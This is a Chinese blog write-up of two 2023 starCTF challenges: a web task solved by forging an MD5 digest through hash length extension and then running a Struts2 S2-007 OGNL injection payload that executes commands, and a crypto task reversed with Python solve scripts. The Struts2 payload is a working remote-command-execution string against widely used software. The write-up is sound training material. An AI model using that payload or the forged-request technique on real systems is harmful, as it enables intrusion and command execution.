【2023starCTF】jwt2structs与ezCrypto超详细讲解！

已于 2023-08-01 22:18:04 修改
阅读量1.8k 收藏
点赞数 1
分类专栏： ctf比赛专栏 文章标签： 网络安全 web
于 2023-08-01 22:13:56 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/jayq1/article/details/132051727
版权

starCTF

文章目录

web

jwt2struts

 <?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
    if ($username === "admin" && $password != "root") {
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
            die ("The secret_key is ". $secret_key);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("no no no");
    }
}


Your cookies don't match up! STOP HACKING THIS SITE.

获得secret_key的路程：

salt+adminroot => md5

if ($_COOKIE["digest"] === md5($salt.$username.$password))

salt+adminrootafdqsfas

利用哈希长度扩展攻击

借助工具Hashpump

首先输入signature 就是题目中给出的md5：e6ccbf12de9d33ec27a5bcfb6a3293df

然后输入data 就是在进行强比较会拼接的root 同时需要生成password值不是root：root

然后输入keylength 在题目中说明salt是14位 并且确定拼接的admin是5位 后面是扩展 所以不计数 故为：19

后面add的数据随便输入就好了

image-20230730002945963

注意进行修改 \x替换成%

2eb365cacc12caf450a48da09de3c080
root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00asd

POST /JWT_key.php HTTP/1.1
Host: 140.210.223.216:55557
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://140.210.223.216:55557/JWT_key.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Origin: http://140.210.223.216:55557
Connection: close
Cookie: access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjM5NTUzfQ.mDU-QzzP7cqBu9WFZf5ygYFIcCoj4Dbs4krvlaj4pxA
Cookie: digest=2eb365cacc12caf450a48da09de3c080
Upgrade-Insecure-Requests: 1

username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00asd

#结果The secret_key is sk-he00lctf3r

JWT生成token

三部分组成：

image-20230729220809581

获得访问提示

image-20230729220827974

http://140.210.223.216:55557/admiiiiiiiiiiin/

网页源代码 获得提示：do you know struts2?

自然考虑到Struts S2-007复现

一般出现在表单提交中 远程命令执行payload如下：

'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()))%20%2B%20'

在白色的地方执行命令即可

注意：这个题目一开始ls /没有找到flag文件 所以考虑查看环境变量 直接env即可

成功获得flag：FLAG=flag{7r0m_jwt_t0_struts2}

crypto

ezCrypto

题目+分析：

import random
import string

#切片操作：将最后的6个字符去除
characters = string.printable[:-6]
#string模块中定义的字符串常量 包含0-9字符  作用：判断是否为数字
digits = string.digits
#string模块中定义的字符串常量 包含ascii字母  作用：判断是否为字母
ascii_letters = string.ascii_letters

#生成一个基于给定种子和原始字符串的随机字符串
def Ran_str(seed : int, origin: str):
    random.seed(seed)
    random_sequence = random.sample(origin, len(origin))
    return ''.join(random_sequence)


rseed = int(input())
assert rseed <= 1000 and rseed >= 0
#获得随机字符串
map_string1 = Ran_str(rseed, characters)
map_string2 = Ran_str(rseed * 2, characters)
map_string3 = Ran_str(rseed * 3, characters)


#索引9（包含）到倒数第1个字符（不包含）的子字符串
def util(flag):
    return flag[9: -1]
#查找指定字符c在map_string字符串中的索引位置
def util1(map_string: str, c):
    return map_string.index(c)
#将s和k字符串中的每一组对应字符逐个进行异或操作 然后拼接 
def str_xor(s: str, k: str):
    return ''.join(chr((ord(a)) ^ (ord(b))) for a, b in zip(s, k))

'''
主要函数！
下面函数的功能分析：
1、接收传入的字符串str参数s 和整形int参数index
2、将整形参数index作为种子，对字母与数字组成的字符串进行随机化处理
3、将传入的字符串s，与随机化后的map_str在整形参数index上的值进行异或处理
根据3以及返回值中对s在map_str中的位置索引值 可以大体推断 s的长队为1
'''
def mess_sTr(s : str, index : int):
    map_str = Ran_str(index, ascii_letters + digits)
    new_str = str_xor(s, map_str[index])
    
    if not characters.find(new_str) >= 0:
        new_str = "CrashOnYou??" + s
    
    return new_str, util1(map_str, s)
    
'''
主要函数！
下面函数的功能分析：
1、传入字符串flag 然后进行处理 分段 给到list类型的变量flag_list1
2、在循环中对长度为奇偶数的字符串处理 k表示当前索引值
3、对于奇数长度字符串 将字符串的每一个字符与index一同传入mess_sTr() 将返回的结果拼接 然后将首字符传入mess_sTr结果拼接 最后加上当前k的字符 放入到newlist1中
4、对于偶数长度字符串 只是在后面附加当前的k 转成字符串 然后加入到newlist2
'''
def crypto_phase1(flag):
    flag_list1 = util(flag).split('_')
    newlist1 = []
    newlist2 = []
    index = 1
    k = 0
    for i in flag_list1:
        if len(i) % 2 == 1:
            i1 = ""
            for j in range(len(i)):
                p, index = mess_sTr(i[j], index)
                i1 += p
           
            p, index = mess_sTr(i[0], index)
            i1 += p
            
            i1 += str(k)
            k += 1
            newlist1.append(i1)
        
        else:
            i += str(k)
            k += 1
            newlist2.append(i)
    
    return newlist1, newlist2
        
'''
主要函数！！！
对于下面两个模块功能相似：
1、获取map_string3在j上的索引值 将索引值传入map_string1或2 中 最后构成新的newlist
'''        
def crypto_phase2(list):
    newlist = []
    for i in list:
        str = ""
        for j in i:
            str += map_string1[util1(map_string3, j)]
           
        newlist.append(str)
    return newlist

def crypto_phase3(list):
    newlist = []
    for i in list:
        str = ""
        for j in i:
            str += map_string2[util1(map_string3, j)]
            
        newlist.append(str)
    return newlist

#输入的列表按照逆序拼接成字符串
def crypto_final(list):
    str=""
    for i in list[::-1]:
        str += i
    return str

if __name__ == '__main__':
    format="sixstars{XXX}"
    flag="Nothing normal will contribute to a crash. So when you find nothing, you find A Crashhhhhhhh!!! "   
    
    #对flag进行第一层加密 获得两个列表
    flaglist1, flaglist2 = crypto_phase1(flag)

    #对flag列表分别进行2,3层加密 最后将结果进行final加密 cipher已知
    cipher = crypto_final(crypto_phase3(crypto_phase2(flaglist1) + flaglist1) + crypto_phase2(crypto_phase3(flaglist2)))
    
    print("map_string2: " + map_string2)
    print("cipher: " + cipher)

out:

map_string2: \W93VnRHs<CU#GI!d^7;'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,x@DQ.Sj:_$E/%"+{1

#cipher = '&I1}ty~A:bR>)Q/;6:*6`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'

解题：

首先我们在断言语句中获得提示 就是rseed的范围 然后提示信息给出了map_string2的值 所以我们可以根据map_string2得出rseed的值 然后进而生成map_string1和3

exp:

import random
import string

#切片操作：将最后的6个字符去除
characters = string.printable[:-6]
#string模块中定义的字符串常量 包含0-9字符  作用：判断是否为数字
digits = string.digits
#string模块中定义的字符串常量 包含ascii字母  作用：判断是否为字母
ascii_letters = string.ascii_letters

#生成一个基于给定种子和原始字符串的随机字符串
def Ran_str(seed : int, origin: str):
    random.seed(seed)
    random_sequence = random.sample(origin, len(origin))
    return ''.join(random_sequence)


for rseed in range(0,1001):
    tmp = Ran_str(rseed*2,characters)
    if tmp == '\W93VnRHs<CU#GI!d^7;\'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,x@DQ.Sj:_$E/%"+{1' :
        print(rseed)
        map_string1 = Ran_str(rseed, characters)
        map_string2 = Ran_str(rseed * 2, characters)
        map_string3 = Ran_str(rseed * 3, characters)
        print('map_string1=',map_string1)
        print('map_string2=',map_string2)
        print('map_string3=',map_string3)
        break

out:

667
map_string1= d*T[RJDKkbZ>"Fs\&X}Q6:h7a{VUj#=Y1tLI~P^qBg9A.)Mz@frvGwn<ie,y|m;'3x54]8-p%W(oS!0lN`?2+H/_Euc$CO
map_string2= \W93VnRHs<CU#GI!d^7;'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,x@DQ.Sj:_$E/%"+{1
map_string3= .2K6b@/~5+=l<7wXj8TaJ?]Z,CMRkY&gG(}tsf)Du^OUx-qdQNiyV$01L["moA*3P'IF#pnhe`\;v>H:z%!c{|WEBS94_r

关于cipher

    cipher = crypto_final(crypto_phase3(crypto_phase2(flaglist1) + flaglist1) + crypto_phase2(crypto_phase3(flaglist2)))

对flaglist1进行phase2加密得到新的列表 后面跟上flaglist1列表 然后进行phase3加密 然后在后面加上经过phase3和phase2加密的flaglist2

接下来去破解flaglist1 因为有两组flaglist1在cipher中 我们需要对这两组flaglist1进行解密还原 然后比较这两个还原的结果是否相同 如果相同则认为是flaglist1中的字符

附图：

在最后翻转之后 前面两组flaglist1加密的结果到后面去了所以从最后开始遍历

cipher = '&I1}ty~A:bR>)Q/;6:*6`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'

i1_ori = len(cipher) - 1  #最后一个字符？
i2_ori = len(cipher) - 2  #倒数第二个字符S

i1 = i1_ori
i2 = i2_ori
str = ""
while True:
    #p1代表两层加密的flaglist1对应的解密结果
    p1 = map_string3[util1(map_string1,map_string3[util1(map_string2,cipher[i1])])]
    #p2代表一层加密的flaglist1对应的解密结果
    p2 = map_string3[util1(map_string2,cipher[i2])]

    #下面是一种查询相同字符串的算法
    #如果不相等 证明还没有找到flaglist1的起始位点所以p2要继续往前溯源推进
    if p1 != p2:
        i1 = i1_ori
        i2_ori -= 1
        i2 = i2_ori
        continue
    #如果相等 可能是找到flaglist1的头了 但是不能排除也有可能是其中重复的数字呀 所以要在此基础上同时往下推进一个进行判断
    elif p1 == p2:
        str += p1
        if i1 - 1 == i2_ori:
            break
        else:
            i1 -= 1
            i2 -= 1
            continue


print('flaglist1:',str[::-1])
print(i1)
print(i2)
print(cipher[i1:])
print(len(cipher[i1:]))
print(cipher[:20])
print(len(cipher[:20]))

out:

flaglist1: CrashOnYou??FRCrashOnYou??nw3CrashOnYou??TDa>0
66
20
:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?
46
#crypto_phase2(crypto_phase3(flaglist2))
&I1}ty~A:bR>)Q/;6:*6
20

然后获得flaglist2：

cipherflaglist2 = '&I1}ty~A:bR>)Q/;6:*6'
flaglist2 = ""
# cipherflaglist2 = cipherflaglist2[::-1]
print(len(cipherflaglist2))
for i in range(20):
    #从外到内 目前是mapstring1里面的某个是我们的密文
    index = util1(map_string1, cipherflaglist2[i])
    #还原cp2 即temp = cp3（flaglist2）
    temp = map_string3[index]
    index2 = util1(map_string2,temp)
    p2 = map_string3[index2]
    # p2 = map_string3[util1(map_string2, cipherflaglist2[i])]
    flaglist2 += p2

print(flaglist2)

out:

cR7PtO5ln4s0m32F1nD1

到此

现在我们把连接flag的最后一道桥梁连过来

def crypto_phase1(flag):
    flag_list1 = util(flag).split('_')
    newlist1 = []
    newlist2 = []
    index = 1
    k = 0
    for i in flag_list1:
        if len(i) % 2 == 1:
            i1 = ""
            for j in range(len(i)):
                p, index = mess_sTr(i[j], index)
                i1 += p
           
            p, index = mess_sTr(i[0], index)
            i1 += p
            
            i1 += str(k)
            k += 1
            newlist1.append(i1)
        
        else:
            i += str(k)
            k += 1
            newlist2.append(i)
    
    return newlist1, newlist2

我们可以看到会在每一段后面拼接数字索引 并且是顺序型

所以尾部的0和1一定是正常的索引

flaglist1：CrashOnYou??FRCrashOnYou??nw3 CrashOnYou??TDa>0

flaglist2：cR7PtO5ln4s0m32 F1nD1

分析flaglist2 因为尾部的1一定是索引 所以前面的1一定不是 然后在flaglist1中仅存在0和3 所以推测flaglist2中的下一个索引是2 到此对于flaglist2的拆分有两种情况

flaglist2：cR7PtO5ln4 s0m32 F1nD1 （索引1、2、4）

flaglist2：cR7PtO5ln4s0m32 F1nD1 （索引1、2）

然后对flaglist1进行分析

index = 1
for i in flag_list1:
        if len(i) % 2 == 1:
            i1 = ""
            for j in range(len(i)):
                p, index = mess_sTr(i[j], index)
                i1 += p
           
            p, index = mess_sTr(i[0], index)
            i1 += p
            
            i1 += str(k)
            k += 1
            newlist1.append(i1)

'''
主要函数！
下面函数的功能分析：
1、接收传入的字符串str参数s 和整形int参数index
2、将整形参数index作为种子，对字母与数字组成的字符串进行随机化处理
3、将传入的字符串s，与随机化后的map_str在整形参数index上的值进行异或处理
根据3以及返回值中对s在map_str中的位置索引值 可以大体推断 s的长队为1
'''
def mess_sTr(s : str, index : int):
    map_str = Ran_str(index, ascii_letters + digits)
    new_str = str_xor(s, map_str[index])
    
    if not characters.find(new_str) >= 0:
        #表示只要出现Crash这个字符串字眼 后面拼接的那个字符一定是flag中的字符
        new_str = "CrashOnYou??" + s
    
    return new_str, util1(map_str, s)

flaglist1：CrashOnYou??F R CrashOnYou??n w3 CrashOnYou??T Da>0

这个可以确定FxnF是第三个 TxxT 是第0个 其中x表示未知

首先对第0位进行爆破

通过对T字符的锁定 得出下一个index是38

知道下一个的加密结果是D 然后异或可逆

map_str = Ran_str(38, ascii_letters + digits)
new_str = str_xor('D', map_str[index])
print(new_str)
#r

通过对r字符的锁定 得出下一个index是18

map_str = Ran_str(18, ascii_letters + digits)
new_str = str_xor('a', map_str[index])
print(new_str)
#Y

最后一个是首字符：可以直接写T 也可以验证一下 主要目的是对index进行操作

通过对Y字符的锁定 得出下一个index是52

map_str = Ran_str(52, ascii_letters + digits)
new_str = str_xor('>', map_str[index])
print(new_str)
#T

然后继续往下推

注意要对index进行对首字符T的操作

p,index = mess_sTr('T',index)
print(index)

锁定F 得出下一个index是35

map_str = Ran_str(35, ascii_letters + digits)
new_str = str_xor('R', map_str[index])
print(new_str)
#4

到此复原完成

flaglist1：F4n 3 TrY 0

flaglist2：cR7PtO5ln 4 s0m3 2 F1nD 1 （索引1、2、4）

flaglist2：cR7PtO5ln4s0m3 2 F1nD 1 （索引1、2）

根据_的分段进行手工拼接

flag：sixstars{TrY_F1nD_s0m3_F4n_cR7PtO5ln}

或者：sixstars{TrY_F1nD_cR7PtO5ln4s0m3_F4n}

保留测试代码：

import random
import string

#切片操作：将最后的6个字符去除
characters = string.printable[:-6]
#string模块中定义的字符串常量 包含0-9字符  作用：判断是否为数字
digits = string.digits
#string模块中定义的字符串常量 包含ascii字母  作用：判断是否为字母
ascii_letters = string.ascii_letters

#生成一个基于给定种子和原始字符串的随机字符串
def Ran_str(seed : int, origin: str):
    random.seed(seed)
    random_sequence = random.sample(origin, len(origin))
    return ''.join(random_sequence)


for rseed in range(0,1001):
    tmp = Ran_str(rseed*2,characters)
    if tmp == '\W93VnRHs<CU#GI!d^7;\'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,x@DQ.Sj:_$E/%"+{1' :
        print(rseed)
        map_string1 = Ran_str(rseed, characters)
        map_string2 = Ran_str(rseed * 2, characters)
        map_string3 = Ran_str(rseed * 3, characters)
        print('map_string1=',map_string1)
        print('map_string2=',map_string2)
        print('map_string3=',map_string3)
        break

#输入的列表按照逆序拼接成字符串
def crypto_final(list):
    str=""
    for i in list[::-1]:
        str += i
    return str

def util1(map_string: str, c):
    return map_string.index(c)

cipher = '&I1}ty~A:bR>)Q/;6:*6`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'

i1_ori = len(cipher) - 1  #最后一个字符？
i2_ori = len(cipher) - 2  #倒数第二个字符S

i1 = i1_ori
i2 = i2_ori
str = ""
while True:
    #p1代表两层加密的flaglist1对应的解密结果
    p1 = map_string3[util1(map_string1,map_string3[util1(map_string2,cipher[i1])])]
    #p2代表一层加密的flaglist1对应的解密结果
    p2 = map_string3[util1(map_string2,cipher[i2])]

    #下面是一种查询相同字符串的算法
    #如果不相等 证明还没有找到flaglist1的起始位点所以p2要继续往前溯源推进
    if p1 != p2:
        i1 = i1_ori
        i2_ori -= 1
        i2 = i2_ori
        continue
    #如果相等 可能是找到flaglist1的头了 但是不能排除也有可能是其中重复的数字呀 所以要在此基础上同时往下推进一个进行判断
    elif p1 == p2:
        str += p1
        if i1 - 1 == i2_ori:
            break
        else:
            i1 -= 1
            i2 -= 1
            continue


print('flaglist1:',str[::-1])
print(i1)
print(i2)
print(cipher[i1:])
print(len(cipher[i1:]))
print(cipher[:20])
print(len(cipher[:20]))


cipherflaglist2 = '&I1}ty~A:bR>)Q/;6:*6'
flaglist2 = ""
# cipherflaglist2 = cipherflaglist2[::-1]
print(len(cipherflaglist2))
for i in range(20):
    #从外到内 目前是mapstring1里面的某个是我们的密文
    index = util1(map_string1, cipherflaglist2[i])
    #还原cp2 即temp = cp3（flaglist2）
    temp = map_string3[index]
    index2 = util1(map_string2,temp)
    p2 = map_string3[index2]
    # p2 = map_string3[util1(map_string2, cipherflaglist2[i])]
    flaglist2 += p2

print(flaglist2)

def str_xor(s: str, k: str):
    return ''.join(chr((ord(a)) ^ (ord(b))) for a, b in zip(s, k))

def mess_sTr(s: str, index: int):
    map_str = Ran_str(index, ascii_letters + digits)
    new_str = str_xor(s, map_str[index])

    if not characters.find(new_str) >= 0:
        # 表示只要出现Crash这个字符串字眼 后面拼接的那个字符一定是flag中的字符
        new_str = "CrashOnYou??" + s

    return new_str, util1(map_str, s)

index = 1

p,index = mess_sTr('T',index)
print(index)
# a = ['asd','bnm','cve']
# b = ['157','246','389']
# print(a+b)
# cipher = crypto_final(a+b)
# print(cipher)

map_str = Ran_str(38, ascii_letters + digits)
new_str = str_xor('D', map_str[index])
print(new_str)

p,index = mess_sTr('r',index)
print(index)

map_str = Ran_str(18, ascii_letters + digits)
new_str = str_xor('a', map_str[index])
print(new_str)

p,index = mess_sTr('Y',index)
print(index)

map_str = Ran_str(52, ascii_letters + digits)
new_str = str_xor('>', map_str[index])
print(new_str)

p,index = mess_sTr('T',index)
print(index)

p,index = mess_sTr('F',index)
print(index)

map_str = Ran_str(35, ascii_letters + digits)
new_str = str_xor('R', map_str[index])
print(new_str)

以上题目均可在攻防世界复现
参考文档：官方wp

我是哈皮，祝您每天嗨皮！我们下期再见~

哈皮Superman
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
springsecurity+oauth2+jwt实现单点登录demo
06-06
该资源是springsecurity+oauth2+jwt实现的单点登录demo，模式为授权码模式，实现自定义登录页面和自定义授权页面。应用数据存在内存中或者存在数据库中（附带数据库表结构），token存储分为数据库或者Redis。demo包含服务端和客户端，可直接运行测试。
[CryptoCTF 2023] 部分简单题
weixin_52640415的博客
07-09 1091
crypto CTF 2023
ctfshow——JWT
最新发布
qq_55202378的博客
05-01 826
抓个包，可以看到cookie部分使用JWT（Json Web Token）。 先用base64将JWT进行解密，修改为admin，再用base64进行加密。再访问 这里使用了HS256加密方式，方法：alg字段改为，sub改为，对每一段分别用base64进行加密，然后用拼接起来，注意最后一个点不能少。都可以用jwt-cracker进行爆破，获取密匙。或者用脚本跑。 web 349——非对称加密算法RS256私钥泄漏 根据提示，大致意思就是访问，服务器会使用RS256算法私钥加密一段字符串作为cookie
Crypto(5)2023xctf ezCrypto（待补）
m0_66039322的博客
10-20 72
【代码】Crypto(5)2023xctf ezCrypto（待补）
ctf_show笔记篇（web入门---jwt）
whale_waves的博客
04-02 1195
JSON Web Token（JWT）通常由三部分组成简单地说jwt就是一串字符串，类似于序列化这种，把用户的信息保存在字符串里JWT全称是，如果从字面上理解感觉是基于JSON格式用于网络传输的令牌。实际上，JWT是一种紧凑的Claims声明格式，旨在用于空间受限的环境进行传输，常见的场景如HTTP授权请求头参数和URI查询参数。JWT会把Claims转换成JSON格式，而这个JSON内容将会应用为JWS结构的有效载荷或者应用为JWE结构的（加密处理后的）原始字符串，通过消息认证码（或者简称MAC。
【CTF WriteUp】2020中央企业”新基建“网络安全技术大赛初赛Crypto题解
cccchhhh6819的博客
10-28 4257
Crypto Crypto_ezCrypto 观察密文，很像字母替换后的英文语法，但注意到其中有一段是.ubwbsjs，标点符号通常在后边，所以说明密文是颠倒的，首先反过来以后，尝试使用词频分析工具解码 发现明显不是人话，但是后边flag的base64加密的情况基本可以确定。将后边那几位固定为flag字符的base64编码Zxmh重新跑 经过一段时间后，得到的英文基本成为单词，采用方式也是ROT，但是注意到大写字母在语义中完全不对，所以猜测大写字母ROT的数值和小写字母不同，写程序爆破： #!/usr/bi
【CTF-Crypto实战-2023红队】从乱码.txt文件获取flag
Cra_Thursday9527的博客
07-27 2181
复制该文本，用瑞士军刀打开，Output右边出现一个魔术棒，说明自动识别出了加密方式与编码字符集，点击魔术棒，得到flag。这次拿到的题目中只有一个.txt文件，直接双击打开文本后发现一堆啥也不是的东西。尝试各种直接解码无果后，用winhex查看二进制，发现其中几乎全是字母。推测该.txt文件存在编码问题，于是尝试用sublime打开。去掉所有回车（word也行）
[NKCTF2023]crypto/reverse/se-wp
qq_63923205的博客
03-30 858
NKCTF wp p2
Hash长度扩展攻击
小龙在线
10-14 630
<?php error_reporting(0); $flag=file_get_contents('/flag'); if(isset($_GET["md5"]) && isset($_GET["i"]) && isset($_GET["s"])){ $fl4g = substr_replace($flag, $_GET["s"], $_GET["i"], 1); echo $_GET["md5"] === md5($fl4g); }else{
11.Oauth2授权之JWT集成
01-01
11.Oauth2授权之JWT集成
REST2SQL11 基于jwt-go生成token与验证
03-08
【REST2SQL】11 基于jwt-go生成token与验证
SpringSecurity+OAuth2+JWT分布式权限控制.zip
07-23
SpringSecurity+OAuth2+JWT分布式权限控制
Spring Security OAuth2实现使用JWT的示例代码
08-27
主要介绍了Spring Security OAuth2实现使用JWT的示例代码，小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧
CTF实验吧让我进去writeup
weixin_30496751的博客
03-26 344
初探题目 两个表单，我们用burp抓包试试 这时候我们发现Cookie值里有个很奇怪的值是source，这个单词有起源的意思，我们就可以猜测这个是判断权限的依据，让我们来修改其值为1，发送得到如下显示： 代码审计 发现爆出了源代码，让我们来审计一下 $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "XXXXXXXXXXXXXXX"; // This...
linux密码 hash,实验吧Web-中-让我进去（Hash长度扩展攻击、加盐密码及Linux下hashpump的安装使用）...
weixin_29239279的博客
05-02 174
打开网页，测试开始，注入费老大劲，看了大佬的blog才知道怎么干。bp抓包，观察发现cookie中有个source=0，在repeater中修改为source=1，然go一下，出来了一段源代码。$flag = "XXXXXXXXXXXXXXXXXXXXXXX";$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for...
php逻辑难是难在sql,[实验吧] 所有web writeup
weixin_31232695的博客
03-13 187
实验吧 writeup打算把实验吧所有的web题做一遍花了一个礼拜多的时间吧有些也看了wp不得不说收获挺大WEB简单的登录题F12看下网络里面里面的请求头中有一个tips:test.php里面有源码define("SECRET_KEY", '***********');define("METHOD", "aes-128-cbc");error_reporting(0);include('conn....
ctf web 的一些writeup jwt以及黑客游戏
qq_42520737的博客
08-09 3746
http://54.223.83.192:8877/ jwt 登陆问题 JSON Web Token（JWT）是一个开放式标准（RFC 7519），它定义了一种紧凑且自包含的方式，用于在各方之间以JSON对象安全传输信息。这些信息可以通过数字签名进行验证和信任。可以使用秘密（使用HMAC算法）或使用RSA的公钥/私钥对对JWT进行签名。       这道题的解题方式就是对其进行登陆抓...
Web攻防--JAVAWEB项目&JWT身份攻击&组件安全&Python考点&CTF与CMS-SSTI模版注入&PYC反编译
weixin_68243135的博客
11-15 492
WEB攻防--JWT--JAVAWEB项目--SSTI模板注入
oauth2使用security 与jwt
08-15
OAuth2是一个开放标准的授权协议，它允许用户让第三方应用访问其在某一网站上存储的私密资源，而不需要将用户名和密码提供给第三方应用。具体到你提到的例子中，xxx网站使用QQ认证来进行OAuth2认证。同时，你还可以在application.yml文件中配置相关参数，比如端口、数据库连接信息和OAuth2授权模式等。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [Spring Security Oauth2 JWT](https://blog.csdn.net/chinusyan/article/details/121940128)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值